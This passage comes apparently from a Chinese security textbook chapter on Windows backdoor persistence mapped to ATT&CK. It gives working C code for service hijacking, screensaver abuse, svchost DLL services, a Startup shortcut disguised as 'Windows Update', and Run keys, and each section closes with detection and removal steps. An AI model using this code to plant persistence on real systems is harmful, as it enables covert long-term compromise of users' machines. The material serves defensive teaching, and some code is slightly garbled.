OutputDebugString(_TEXT(“Hello Topsec with Rundll32!!!”));

Sleep(1000);
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Figure 22.20: img

}

}

22.8.2 运行效果图

当该用户下次登录的时候Winlogon会带动 Rundll32程序，通过命令行参数加载预设的 DLL文件执行

其导出函数，如下图所示，目标稳定运行中：

运行后的注册表键值情况如下图所示：

22.8.3 检查及清除方法

检查以下 2个注册表路径中的 “Shell’’、“Userinit’’、“Notify’’等键值是否存在不明来历的程序路径

1）HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon

2）HKCU\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon
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Figure 22.21: img

关键键值如下图所示：

1）Winlogon\Notify –默认指向处理Winlogon事件的通知包 DLL

2）Winlogon\Userinit –默认指向 userinit.exe，即用户登录时执行的用户初始化程序

3）Winlogon\Shell –默认指向 explorer.exe，即用户登录时执行的系统 shell

22.9 篡改服务进程

22.9.1 原理及代码介绍

Windows服务的配置信息存储在注册表中，一个服务项有许多键值，想要修改现有服务，就要了解服

务中的键值代表的功能。

“DisplayName’’，字符串值，对应服务名称；

“Description’’，字符串值，对应服务描述；

“ImagePath’’，字符串值，对应该服务程序所在的路径；

“ObjectName’’，字符串值，值为 “LocalSystem’’，表示本地登录；

“ErrorControl’’，DWORD值，值为 “1’’；

“Start’’，DWORD值，值为 2表示自动运行，值为 3表示手动运行，值为 4表示禁止；

“Type’’，DWORD值，应用程序对应 10，其他对应 20。

在这里，我们只需要注意 “ImagePath’’，“Start’’，“Type’’三个键值，“ImagePath’’修改为自己的程

序路径，“Start’’改为 2，自动运行，“Type’’改为 10应用程序。
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接下来就要选择一个服务，在这里，我们选择的服务是 “COMSysApp’’，本身 “Type’’为 10。

修改键值的代码如下：

HKEY hKey;

DWORD dwDisposition;

DWORD dwData = 2;

const char system[] = “C:\SeviceTopSec.exe”;//hello.exe

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_LOCAL_MACHINE,

“SYSTEM\CurrentControlSet\services\COMSysApp”, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

{

return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, “ImagePath”, 0, REG_EXPAND_SZ, (BYTE*)system, (1 + ::lstrlenA(system))))

{

return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, “Start”, 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD)))

{

return 0;
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}

return 0;

但是 “ImagePath’’中的程序并不是普通的程序，需要用到一些特定的 API，完成服务的创建流程。

总的来说，一个遵守服务控制管理程序接口要求的程序包含下面三个函数：

服务程序主函数（main）：调用系统函数 StartServiceCtrlDispatcher连接程序主线程到服务控制管理

程序。

服务入口点函数（ServiceMain）：执行服务初始化任务，同时执行多个服务的服务进程有多个服务

入口函数。

控制服务处理程序函数（Handler）：在服务程序收到控制请求时由控制分发线程引用。

服务程序代码如下：

HANDLE hServiceThread;

void KillService();

char* strServiceName = “sev_topsec”;

SERVICE_STATUS_HANDLE nServiceStatusHandle;

HANDLE killServiceEvent;

BOOL nServiceRunning;

DWORD nServiceCurrentStatus;

void main(int argc, char* argv[])

{

SERVICE_TABLE_ENTRYA ServiceTable[] =
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{

{strServiceName,(LPSERVICE_MAIN_FUNCTIONA)ServiceMain},

{NULL,NULL}

};

BOOL success;

success = StartServiceCtrlDispatcherA(ServiceTable);

if (!success)

{

printf(“fialed!”);

}

}

void ServiceMain(DWORD argc, LPTSTR* argv)

{

BOOL success;

nServiceStatusHandle = RegisterServiceCtrlHandlerA(strServiceName,

(LPHANDLER_FUNCTION)ServiceCtrlHandler);
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success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 1, 3000);

killServiceEvent = CreateEvent(0, TRUE, FALSE, 0);

if (killServiceEvent == NULL)

{

return;

}

success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000);

success = InitThread();

nServiceCurrentStatus = SERVICE_RUNNING;

success = ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, 0, 0, 0);

WaitForSingleObject(killServiceEvent, INFINITE);

CloseHandle(killServiceEvent);

}

BOOL ReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode,DWORD dwServiceSpecificExitCode, DWORD dwCheckPoint,DWORD dwWaitHint)

{

BOOL success;

SERVICE_STATUS nServiceStatus;
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nServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;

nServiceStatus.dwCurrentState = dwCurrentState;

//

if (dwCurrentState == SERVICE_START_PENDING)

{

nServiceStatus.dwControlsAccepted = 0;

}

else

{

nServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP

| SERVICE_ACCEPT_SHUTDOWN;

}

if (dwServiceSpecificExitCode == 0)

{

nServiceStatus.dwWin32ExitCode = dwWin32ExitCode;

}

else

{
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nServiceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;

}

nServiceStatus.dwServiceSpecificExitCode = dwServiceSpecificExitCode;

//

nServiceStatus.dwCheckPoint = dwCheckPoint;

nServiceStatus.dwWaitHint = dwWaitHint;

success = SetServiceStatus(nServiceStatusHandle, &nServiceStatus);

if (!success)

{

KillService();

return success;

}

else

return success;

}

BOOL InitThread()

{
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DWORD id;

hServiceThread = CreateThread(0, 0,

(LPTHREAD_START_ROUTINE)OutputString,

0, 0, &id);

if (hServiceThread == 0)

{

return false;

}

else

{

nServiceRunning = true;

return true;

}

}

DWORD OutputString(LPDWORD param)

{

OutputDebugString(L”Hello TopSec\n”);
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return 0;

}

void KillService()

{

nServiceRunning = false;

SetEvent(killServiceEvent);

ReportStatusToSCMgr(SERVICE_STOPPED, NO_ERROR, 0, 0, 0);

}

void ServiceCtrlHandler(DWORD dwControlCode)

{

BOOL success;

switch (dwControlCode)

{

case SERVICE_CONTROL_SHUTDOWN:

case SERVICE_CONTROL_STOP:

nServiceCurrentStatus = SERVICE_STOP_PENDING;
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success = ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0, 1, 3000);

KillService();

return;

default:

break;

}

ReportStatusToSCMgr(nServiceCurrentStatus, NO_ERROR, 0, 0, 0);

}

22.9.2 运行效果图

先修改注册表中的键值

重启 “COMSysApp‘‘服务

发现在 DebugView中打印出字符串。

在任务管理器中点击转到进程，发现我们自己写的服务程序正在运行

22.9.3 检查及清除方法

1. 检查注册表中与已知程序无关的注册表项的更改

2. 检查已知服务的异常进程调用树。

22.10 替换屏幕保护程序

22.10.1 原理及代码介绍

屏幕保护是为了保护显示器而设计的一种专门的程序。当时设计的初衷是为了防止电脑因无人操作而

使显示器长时间显示同一个画面，导致老化而缩短显示器寿命。用户在一定时间内不活动鼠标键盘之

后会执行屏幕保护程序，屏保程序为具有.scr文件扩展名的可执行文件（PE）。

攻击者可以通过将屏幕保护程序设置为在用户鼠标键盘不活动的一定时间段之后运行恶意软件，

也就是利用屏幕保护程序设置来维持后门的持久性。

屏幕保护程序的配置信息存储在在注册表中，路径为 HKCU\Control Panel\Desktop，我们也可以通

过改写关键键值来实现后门持久：
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Figure 22.22: img

SCRNSAVE.EXE –设置为恶意 PE路径

ScreenSaveActive –设置为 “1’’以启用屏幕保护程序

ScreenSaverIsSecure –设置为 “0’’，不需要密码即可解锁

ScreenSaverTimeout –指定在屏幕保护程序启动之前系统保持空闲的时间。

更具体的信息，可以查看微软对相关注册表项的说明页面，点击此处。

如下的代码演示了如何通过屏保程序来实现后门持久化：

BOOL add_to_screensaver()

{

BOOL ret = FALSE;

LONG rcode = NULL;

DWORD key_value_type;

BYTE shell_value_buffer[MAX_PATH * 2];
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Figure 22.23: img
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Figure 22.24: img

DWORD value_buffer_size = sizeof(shell_value_buffer) ;

HKEY desktop_key = NULL;

DWORD set_value_size;

BYTE set_buffer[MAX_PATH];

rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT(“Control Panel\Desktop”),

NULL, KEY_ALL_ACCESS, &desktop_key);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}
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//

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT(“ScreenSaveActive”), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if (rcode != ERROR_SUCCESS)

{

//找不到指定的键值，说明未开启屏保功能。

if (rcode == 0Œ2)

{

//设置待启动程序路径

lstrcpy((TCHAR*)set_buffer, _TEXT(“C:\topsec.exe”));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT(“SCRNSAVE.EXE”), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//设置启动时间，60 秒无鼠标键盘活动后启动屏保

lstrcpy((TCHAR*)set_buffer, _TEXT(“60));
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set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveTimeOut”), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//开启屏保功能

lstrcpy((TCHAR*)set_buffer, _TEXT(“1));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveActive”), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

else

{

goto ERROR_EXIT;
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}

}

else

{

//有键值存在, 已开启屏幕保护功能，需要保存原设置，驻留程序按实际情况启动原屏保

if(lstrcmp(_TEXT(“1), (TCHAR*)shell_value_buffer) == NULL)

{

//读取原值并保存

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT(“SCRNSAVE.EXE”), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if(rcode != ERROR_SUCCESS && rcode != 0Œ2)

{

goto ERROR_EXIT;

}

//当 ScreenSaveActive 值为 1 而又不存在 SCRNSAVE.EXE 时，不备份。

if(rcode != 0Œ2)

{

rcode = RegSetValueEx(desktop_key, _TEXT(“SCRNSAVE.EXE.BAK”), NULL, REG_SZ, shell_value_buffer, value_buffer_size);
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if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

//改为待启动程序

lstrcpy((TCHAR*)set_buffer, _TEXT(“C:\topsec.exe”));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT(“SCRNSAVE.EXE”), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//判断是否有配置屏保启动时间

value_buffer_size = sizeof(shell_value_buffer);

rcode = RegQueryValueEx(desktop_key,_TEXT(“ScreenSaveTimeOut”), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);

if(rcode != ERROR_SUCCESS && rcode == 0Œ2)

{
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//设置启动时间,60 秒无鼠标键盘活动后启动屏保

lstrcpy((TCHAR*)set_buffer, _TEXT(“60));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveTimeOut”), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

}

}

else if(lstrcmp(_TEXT(“0), (TCHAR*)shell_value_buffer) == NULL)

{

//该值为 0，未开启屏幕保护功能

//设置待启动程序路径

lstrcpy((TCHAR*)set_buffer, _TEXT(“C:\topsec.exe”));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT(“SCRNSAVE.EXE”), NULL, REG_SZ, set_buffer, set_value_size);
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if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//设置启动时间,60 秒无鼠标键盘活动后启动屏保

lstrcpy((TCHAR*)set_buffer, _TEXT(“60));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveTimeOut”), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{

goto ERROR_EXIT;

}

//开启屏保功能

lstrcpy((TCHAR*)set_buffer, _TEXT(“1));

set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);

rcode = RegSetValueEx(desktop_key, _TEXT(“ScreenSaveActive”), NULL, REG_SZ, set_buffer, set_value_size);

if (rcode != ERROR_SUCCESS)

{
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goto ERROR_EXIT;

}

}

}

ret = TRUE;

ERROR_EXIT:

if (desktop_key != NULL)

{

RegCloseKey(desktop_key);

desktop_key = NULL;

}

return ret;

}

其中 topsec.exe 代码如下：

#include “stdafx.h”

#include <Windows.h>

#include <tchar.h>

int _tmain(int argc, _TCHAR* argv[])
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{

int i = 10000;

while(i)

{

i–;

Sleep(1000);

OutputDebugString(_TEXT(“Hello Topsec!!!”));

}

return 0;

}
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22.10.2 运行效果图

当该用户因鼠标键盘未操作触发屏保程序运行，我们的程序就被启动了，运行后的效果及注册表键值情

况如下图所示：

22.10.3 检查及清除方法

1、检查注册表路径 HKCU\Control Panel\Desktop，删除包含来历不明的屏保程序配置信息。

2、通过组策略以强制用户使用专用的屏幕保护程序，或者是通过组策略完全禁用屏保功能。

22.11 创建新服务

22.11.1 原理及代码介绍

在Windows上还有一个重要的机制，也就是服务。服务程序通常默默的运行在后台，且拥有 SYSTEM

权限，非常适合用于后门持久化。我们可以将 EXE文件注册为服务，也可以将 DLL文件注册为服务，

本文这一部分将以 DLL类型的服务为例，介绍安装及检查的思路。

相信不论是安全从业者还是普通用户都听说过 svchost进程，系统中存在不少 Svchost进程，有的

还会占用很高的 cpu，究竟这个 Svchost是何方神圣？是恶意代码还是正常程序？相信不少人用户发出

过这样的疑问。实际上 Svchost是一个正常的系统程序，只不过他是 DLL类型服务的外壳程序，容易

被恶意代码所利用。

Service Host (Svchost.exe)是共享服务进程，作为 DLL文件类型服务的外壳，由 Svchost程序加载指

定服务的 DLL文件。在Windows 10 1703以前，不同的共享服务会组织到关联的 Service host组中，每

个组运行在不同的 Service Host进程中。这样如果一个 Service Host发生问题不会影响其他的 Service

Host。Windows通过将服务与匹配的安全性要求相结合，来确定 Service Host Groups，一部分默认的组

名如下：
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Local Service

Local Service No Network

Local Service Network Restricted

Local System

Local System Network Restricted

Network Service

而从Windows 10 Creators Update（版本 1703）开始，先前分组的服务将被分开，每个服务将在其

自己的 SvcHost Host进程中运行。对于运行 Client Desktop SKU的 RAM超过 3.5 GB的系统，此更改

是自动的。在具有 3.5 GB或更少内存的系统上，将继续将服务分组到共享的 SvcHost进程中。

此设计更改的好处包括：

通过将关键网络服务与主机中的其他非网络服务的故障隔离，并在网络组件崩溃时添加无缝恢复

网络连接的能力，提高了可靠性。

通过消除与隔离共享主机中的行为不当服务相关的故障排除开销，降低了支持成本。

通过提供额外的服务间隔离来提高安全性

通过允许每项服务设置和权限提高可扩展性

通过按服务 CPU，I / O和内存管理改进资源管理，并增加清晰的诊断数据（报告每个服务的 CPU，

I / O和网络使用情况）。

在系统启动时，Svchost.exe会检查注册表以确定应加载哪些服务，注册表路径如下：HKLM\SOFTWARE\Microsoft\Windows

NT\CurrentVersion\Svchost .在笔者的电脑上，如下图：

而在注册表 HKLM\SYSTEM\CurrentControlSet\Services，保存着注册服务的相关信息，以 netsvcs

组中的 AeLoookupSvc为例，我们看一下相关信息：

该路径下保存了服务的 ImagePath、Description、DisplayName等信息，当然还包含一些服务的其他

配置，这里不一一列举。如下的代码演示了如何添加一个利用 Svchost启动的 DLL共享服务。

BOOL search_svchost_service_name(TCHAR* service_name_buffer, PDWORD buffer_size)

{

BOOL bRet = FALSE;

int rc = 0;

HKEY hkRoot;

BYTE buff[2048];
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Figure 22.25: img

Figure 22.26: img
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TCHAR* ptr = NULL;

DWORD type;

DWORD size = sizeof(buff);

int i = 0;

bool bExist = false;

TCHAR tmp_service_name[50];

TCHAR* pSvchost = _TEXT(“SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost”);

rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);

if(ERROR_SUCCESS != rc)

{

return NULL;

}

rc = RegQueryValueEx(hkRoot, _TEXT(“netsvcs”), 0, &type, buff, &size);

SetLastError(rc);

if(ERROR_SUCCESS != rc)

{

RegCloseKey(hkRoot);

return NULL;
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}

do

{

wsprintf(tmp_service_name, _TEXT(“netsvcs_0x%d”), i);

for(ptr = (TCHAR*)buff; *ptr; ptr = _tcschr(ptr, 0)+1)

{

if (lstrcmpi(ptr, tmp_service_name) == 0)

{

bExist = true;

break;

}

}

if (bExist == false)

{

break;

}

bExist = false;

i++;

458



政企安全 ATT&CK之后门持久化

} while(1);

memcpy(buff + size – sizeof(TCHAR), tmp_service_name, lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));

rc = RegSetValueEx(hkRoot, _TEXT(“netsvcs”), 0, REG_MULTI_SZ, buff, size + lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));

if(ERROR_SUCCESS != rc)

{

goto ERROE_EXIT;

}

if (bExist == false)

{

lstrcpyn(service_name_buffer, tmp_service_name, *buffer_size);

*buffer_size =lstrlen(service_name_buffer);

}

bRet = TRUE;

ERROE_EXIT:

if (hkRoot != NULL)

{

RegCloseKey(hkRoot);

hkRoot = NULL;
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}

return bRet;

}

BOOL install_service(LPCTSTR full_dll_path, TCHAR* service_name_buffer, PDWORD buffer_size)

{

BOOL bRet = FALSE;

int rc = 0;

HKEY hkRoot = HKEY_LOCAL_MACHINE;

HKEY hkParam = 0;

SC_HANDLE hscm = NULL;

SC_HANDLE schService = NULL;

TCHAR strModulePath[MAX_PATH];

TCHAR strSysDir[MAX_PATH];

DWORD dwStartType = 0;

BYTE buff[1024];

DWORD type;

DWORD size = sizeof(buff);

TCHAR* binary_path = _TEXT(“%SystemRoot%\System32\svchost.exe -k netsvcs”);
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TCHAR* ptr;

TCHAR* pSvchost = _TEXT(“SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost”);

rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

rc = RegQueryValueEx(hkRoot, _TEXT(“netsvcs”), 0, &type, buff, &size);

RegCloseKey(hkRoot);

SetLastError(rc);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

//install service

hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);

if (hscm == NULL)

{
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goto ERROR_EXIT;

}

if(!search_svchost_service_name(service_name_buffer, buffer_size))

{

goto ERROR_EXIT;

}

schService = CreateService(

hscm, // SCManager database

service_name_buffer, // name of service

service_name_buffer, // service name to display

SERVICE_ALL_ACCESS, // desired access

SERVICE_WIN32_OWN_PROCESS,

SERVICE_AUTO_START, // start type

SERVICE_ERROR_NORMAL, // error control type

binary_path, // service’s binary

NULL, // no load ordering group

NULL, // no tag identifier

NULL, // no dependencies
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NULL, // LocalSystem account

NULL); // no password

dwStartType = SERVICE_WIN32_OWN_PROCESS;

if (schService == NULL)

{

goto ERROR_EXIT;

}

CloseServiceHandle(schService);

CloseServiceHandle(hscm);

//config service

hkRoot = HKEY_LOCAL_MACHINE;

lstrcpy((TCHAR*)buff, _TEXT(“SYSTEM\CurrentControlSet\Services\”));

lstrcat((TCHAR*)buff, service_name_buffer);

rc = RegOpenKeyEx(hkRoot, (TCHAR*)buff, 0, KEY_ALL_ACCESS, &hkRoot);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}
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rc = RegCreateKey(hkRoot, _TEXT(“Parameters”), &hkParam);

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

rc = RegSetValueEx(hkParam, _TEXT(“ServiceDll”), 0, REG_EXPAND_SZ, (PBYTE)full_dll_path, lstrlen(full_dll_path) * sizeof(TCHAR) + sizeof(TCHAR));

if(ERROR_SUCCESS != rc)

{

goto ERROR_EXIT;

}

bRet = TRUE;

ERROR_EXIT:

if(hkParam != NULL)

{

RegCloseKey(hkParam);

hkParam = NULL;

}

if(schService != NULL)
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{

CloseServiceHandle(schService);

schService = NULL;

}

if(hscm != NULL)

{

CloseServiceHandle(hscm);

hscm = NULL;

}

return bRet;

}

void start_service(LPCTSTR lpService)

{

SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );

if ( NULL != hSCManager )

{

SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);

if ( NULL != hService )
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{

StartService(hService, 0, NULL);

CloseServiceHandle( hService );

}

CloseServiceHandle( hSCManager );

}

}

BOOL add_to_service()

{

//

BOOL bRet = FALSE;

DWORD service_name_size;

TCHAR service_name[MAXBYTE * 2];

service_name_size = sizeof(service_name) / sizeof(TCHAR);

if(install_service(_TEXT(“C:\service.dll”),service_name, &service_name_size))

{

start_service(service_name);

tprintf(TEXT(“install service successful!!!”));
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bRet= TRUE;

}

else

{

tprintf(TEXT(“can not install service!!!”));

}

return bRet;

}

而服务 DLL也需要满足一定的格式，该服务必须导出 ServiceMain()函数并调用 RegisterServiceC-

trlHandlerEx()函数注册 Service Handler，具体的服务 DLL的代码如下如下

BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

case DLL_THREAD_ATTACH:
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case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

SERVICE_STATUS_HANDLE g_service_status_handle = NULL;

SERVICE_STATUS g_service_status =

{

SERVICE_WIN32_SHARE_PROCESS,

SERVICE_START_PENDING,

SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE

};

DWORD WINAPI ServiceHandler(DWORD dwControl,DWORD dwEventType,LPVOID lpEventData,LPVOID lpContext)

{

switch (dwControl)

{
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case SERVICE_CONTROL_STOP:

case SERVICE_CONTROL_SHUTDOWN:

g_service_status.dwCurrentState = SERVICE_STOPPED;

break;

case SERVICE_CONTROL_PAUSE:

g_service_status.dwCurrentState = SERVICE_PAUSED;

break;

case SERVICE_CONTROL_CONTINUE:

g_service_status.dwCurrentState = SERVICE_RUNNING;

break;

case SERVICE_CONTROL_INTERROGATE:

break;

default:

break;

};

SetServiceStatus(g_service_status_handle, &g_service_status);

return NO_ERROR;

}
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extern “C” __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc,LPCTSTR* lpszArgv)

{

g_service_status_handle = RegisterServiceCtrlHandlerEx(_TEXT(“Svchost Service”), ServiceHandler, NULL);

if (!g_service_status_handle)

{

return;

}

g_service_status.dwCurrentState = SERVICE_RUNNING;

SetServiceStatus(g_service_status_handle, &g_service_status);

while(TRUE)

{

Sleep(1000);

OutputDebugString(_TEXT(“Hello Topsec In Svchost”));

}

return;

};

22.11.2 运行效果图

运行样本文件后，服务被创建起来，在后台稳定运行中。
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Figure 22.27: img

22.11.3 检查及清除方法

3、监控新服务的创建，检查新服务的关键信息，如 ImagePath，对文件进行验证。禁止不明来源服务

的安装行为

4、使用 Sysinternals Autoruns工具检查已有的服务，并验证服务模块的合法性。如验证是否有文件

签名、签名是否正常。可以使用 AutoRuns工具删除不安全的服务

22.12 启动项

22.12.1 原理及代码介绍

启动项，就是开机的时候系统会在前台或者后台运行的程序。设置启动项的方式分为两种：1. Startup

文件夹

文件快捷方式是一种用户界面中的句柄，它允许用户找到或使用位于另一个目录或文件夹的一个

文件或资源，快捷方式还可能额外指定命令行参数，从而在运行它时将所定参数传递到目标程序。

Startup文件夹是Windows操作系统中的功能，它使用户能够在Windows启动时自动运行指定的程

序集。在不同版本的Windows中，启动文件夹的位置可能略有不同。任何需要在系统启动时自动运行

的程序都必须存储为此文件夹中的快捷方式。

攻击者可以通过在 Startup目录建立快捷方式以执行其需要持久化的程序。他们可以创建一个新的

快捷方式作为间接手段，可以使用伪装看起来像一个合法的程序。攻击者还可以编辑目标路径或完全

替换现有快捷方式，以便执行其工具而不是预期的合法程序。
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如下的代码演示了在 Startup目录建立快捷方式来实现后门持久化：

BOOL add_to_lnkfile()

{

BOOL ret = FALSE;

HRESULT hcode;

TCHAR startup_path[MAX_PATH];

TCHAR save_path[MAX_PATH*2];

TCHAR command[MAXBYTE * 2];

IShellLink* shelllnk = NULL;

IPersistFile* pstfile = NULL;

hcode = CoInitialize(NULL);

if (hcode != S_OK)

{

goto Error_Exit;

}

hcode = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void**)&shelllnk);

if (hcode != S_OK)
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{

goto Error_Exit;

}

hcode = shelllnk->QueryInterface(IID_IPersistFile,(void**)&pstfile);

if (hcode != S_OK)

{

goto Error_Exit;

}

//设置快捷方式命令

wsprintf(command, _TEXT(“C:\windows\system32\rundll32.exe”));

hcode = shelllnk->SetPath(command);

if (hcode != S_OK)

{

MessageBox(NULL, command, command,MB_OK);

goto Error_Exit;

}

wsprintf(command, _TEXT(” %s %s”), _TEXT(“c:\topsec.dll”), _TEXT(“RunProc”));

hcode = shelllnk->SetArguments(command);
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if (hcode != S_OK)

{

goto Error_Exit;

}

wsprintf(command, _TEXT(“%s”), _TEXT(“This is For Windows Update!!!”));

hcode = shelllnk->SetDescription(command);

if (hcode != S_OK)

{

goto Error_Exit;

}

hcode = shelllnk->SetWorkingDirectory(_TEXT(“c:\”));

if (hcode != S_OK)

{

goto Error_Exit;

}

//获取启动目录

if(SHGetSpecialFolderPath(NULL, startup_path, CSIDL_STARTUP, FALSE) == FALSE)

{
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goto Error_Exit;

}

wsprintf(save_path, _TEXT(“%s\%s”), startup_path, _TEXT(“Windows Update.Lnk”));

hcode = pstfile->Save(save_path, TRUE);

if (hcode != S_OK)

{

goto Error_Exit;

}

ret = TRUE;

Error_Exit:

if (shelllnk != NULL)

{

shelllnk->Release();

shelllnk = NULL;

}

if (pstfile != NULL)

{

pstfile->Release();
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pstfile = NULL;

}

CoUninitialize();

return ret;

}

从资源中释放文件的代码如下：

BOOL ReleaseFile(LPTSTR resource_type, LPTSTR resource_name, LPCTSTR save_path)

{

BOOL ret = FALSE;

DWORD cb = NULL;

HRSRC h_resource = NULL;

DWORD resource_size = NULL;

LPVOID resource_pt = NULL;

HGLOBAL h_resource_load = NULL;

HANDLE save_file = NULL;

h_resource = FindResource(NULL, resource_name, resource_type);
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if (NULL == h_resource)

{

goto Error_Exit;

}

resource_size = SizeofResource(NULL, h_resource);

if (0 >= resource_size)

{

goto Error_Exit;

}

h_resource_load = LoadResource(NULL, h_resource);

if (NULL == h_resource_load)

{

goto Error_Exit;

}

resource_pt = LockResource(h_resource_load);
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if (NULL == resource_pt)

{

goto Error_Exit;

}

save_file = CreateFile(save_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

if(save_file == INVALID_HANDLE_VALUE)

{

goto Error_Exit;

}

for (DWORD i = 0; i < resource_size; i++)

{

if ((WriteFile(save_file,(PBYTE)resource_pt + i, sizeof(BYTE), &cb, NULL) == FALSE) ||

(sizeof(BYTE) != cb))

{

goto Error_Exit;

}

}
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ret = TRUE;

Error_Exit:

if (h_resource_load != NULL)

{

FreeResource(h_resource_load);

h_resource_load = NULL;

}

if (h_resource != NULL)

{

CloseHandle(h_resource);

h_resource = NULL;

}

return ret;

}

2.Run注册表项

默认情况下，在Windows系统上创建下列运行键：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce

这个 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx也可用，但

在WindowsVista和更新版本上默认不创建。

只需挑选其中一项修改就可以，下面代码以HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

为例：
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#include <iostream>

#include<windows.h>

int main()

{

//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

HKEY hKey;

DWORD dwDisposition;

const char path[] = “C:\HelloTopSec.exe”;//hello.exe

if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,

“Software\Microsoft\Windows\CurrentVersion\Run”, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))

{

return 0;

}

if (ERROR_SUCCESS != RegSetValueExA(hKey, “hello”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))))

{

return 0;

}

return 0;
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Figure 22.28: img

}

22.12.2 运行效果图

在 Startup目录的快捷方式会在系统启动的时候被执行

HelloTopSec.exe在系统启动的时候被执行

22.12.3 检查及清除方法

1、检查所有位于 Startup目录的快捷方式，删除有不明来源的快捷方式

2、由于快捷方式的目标路径可能不会改变，因此对与已知软件更改，修补程序，删除等无关的快

捷方式文件的修改都可能是可疑的。

3、检查注册表项的更改。
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Figure 22.29: img

22.13 WMI事件过滤

22.13.1 原理及代码介绍

Windows 管理规范（Windows Management Instrumentation，缩写 WMI）由一系列对 Windows Driver

